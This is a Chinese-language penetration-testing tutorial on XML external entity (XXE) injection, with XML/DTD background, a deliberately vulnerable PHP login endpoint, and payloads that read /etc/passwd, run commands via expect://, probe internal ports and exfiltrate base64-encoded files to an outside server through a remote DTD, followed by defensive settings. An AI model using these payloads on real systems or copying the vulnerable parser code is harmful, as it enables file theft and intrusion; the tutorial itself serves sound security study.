XML-External-Entity-Injection-Attack(XXE)
in Pentest with 0 comment

XML-External-Entity-Injection-Attack(XXE)

in Pentest with 0 comment

XXE injection

XXE injection (XML External Entity Injection) 即XML外部实体注入攻击。漏洞原理即是在对非安全的外部实体数据进行处理时引发的安全问题。漏洞发生在应用程序解析 XML 输入时,没有禁止或合理过滤外部实体的加载。

XML 相关概念

XML基本文档结构:
XML文档包含XML声明,DTD文档类型定义,文档元素。

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD

DTD(Document Type Definition) 即文档类型定义,为XML文档定义语义约束。DTD可被成行地声明于XML文档中(内部引用),也可以作为一个外部引用。

DTD内部声明

<!DOCTYPE 根元素 [元素声明]>

DTD外部引用

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD中的一些重要关键字

实体(ENTITY)和外部实体(Externally Entities)

简单理解为:一个实体就是一个变量,可以在文档的其他位置引用该变量。
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体类别:

引用与声明

参数实体用%实体名声明,引用时也用%实体名引用
其余实体直接用实体名称声明,引用时用&实体名引用

引用与声明作用域

参数实体只能在DTD中声明,DTD中引用
其余实体只能在DTD中申明,可在XML文档中引用

实体类别介绍

通用实体即普通实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
    <!ENTITY name "value">]>
<foo>
        <value>&name;</value> 
</foo>

参数实体

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

内置实体为预留的实体,如:

实体引用    字符
&lt;                <
&gt;                >
&amp;               &
&quot;              "
&apos;              

字符实体与html的实体编码类似,有十进制(&#97;)和十六进制(&#x61;)

按实体申明方式分类

举例

内部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "dr0op">]> <!-- 声明内部实体 !>
<foo>
<value>&name;</value>  <!-- 引用内部实体 !>
</foo>

外部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY content SYSTEM "file:///etc/passwd">]> <!-- 声明外部实体 !>
<foo>
<value>&content;</value>    <!-- 引用外部实体 !>
</foo>

外部实体+参数实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd"> <!-- 申明外部参数实体 !>
%name;    <!-- 引用外部实体(只能在DTD中引用) !>
]>

即总结为使用了:

<!ENTITY 实体名称 SYSTEM "URI">

也即调用了外部实体,URL中能调用哪些类型的外部实体呢?
腾讯安全应急响应中心博客上总结如下(当然还有很多其他协议):
xxe-01.png

XML 外部实体注入

XXE危害

漏洞模拟

漏洞代码xmlinjection.php

<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);

$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();

# http://hublog.hubmed.org/archives/001854.html
# LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
# LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure

$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;

echo "You have logged in as user $user";
?>

测试

POST http://192.168.1.28/xmlinject.php


<creds>
        <user>admin</user>
        <pass>test</pass>
</creds>

返回:

You have logged in as user admin

外部实体读取任意文件

POST http://192.168.1.28/xmlinject.php

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

返回:
xxe-02.png

执行系统命令

POST http://192.168.1.28/xmlinject.php

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

返回(这里使用的是php的扩展expect,需要额外安装此扩展)
xxe-03.png

探测内网端口

POST http://192.168.1.28/xmlinject.php

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://192.168.0.2:81/test" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

返回(探测到81端口没有开启):
xxe-04.png

攻击内网应用

和SSRF类似,发送HTTP请求
xxe-05.png

返回:

xxe-06.png

Blind XXE

以上是XXE有回显的例子,无回显时如何利用呢?

带外信道信息提取

由于无法直接将要读取的文件内容发送到服务器,所以需要通过变量的方式,先把要读取的文件内容保存到变量中,然后通过 URL 引用外部实体的方式,在 URL 中引用该变量,让文件内容成为 URL 的一部分(如查询参数),然后通过查看访问日志的方式来获取数据。

修改代码,去掉回显:

<?php 
    libxml_disable_entity_loader (false); 
    $xmlfile = file_get_contents('php://input'); 
    $dom = new DOMDocument(); 
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?> 

使用php://filter获取目标文件内容,然后以http请求发送到接受数据服务器。

POST http://192.168.1.28/xmlinject.php

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./1.php"; >
<!ENTITY % dtd SYSTEM "https://drops.org.cn/evilxxe.dtd"; >
%dtd;
%send;
]>
<creds>
    <user>&file;</user>
    <pass>mypass</pass>
</creds>

evilxxe.dtd的内容,内部的%需要使用实体编码&#x25.

<!ENTITY % all
“<!ENTITY &#x25; send SYSTEM ‘https://drops.org.cn/get.php?file=%file;’>;”
>
%all;

get.php内容:

<?php
file_put_contents("test.txt", $_GET['file']) ;
?>

当访问时,存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到远程的test.txt中。

XXE 防御

方案一、使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、过滤用户提交的XML数据

关键词:<!DOCTYPE<!ENTITY,或者,SYSTEMPUBLIC

XXE扩展

xmlns

XML Schema攻击

no Namespace Schema Location

XInclude

XSLT 攻击

XXE DOS攻击

使用XXEinjector进行无回显自动化获取文件

参考链接

https://security.tencent.com/index.php/blog/msg/69
https://b1ngz.github.io/XXE-learning-note/
https://thief.one/2017/06/20/1/
http://www.freebuf.com/column/156863.html
https://www.jianshu.com/p/7325b2ef8fc9

Responses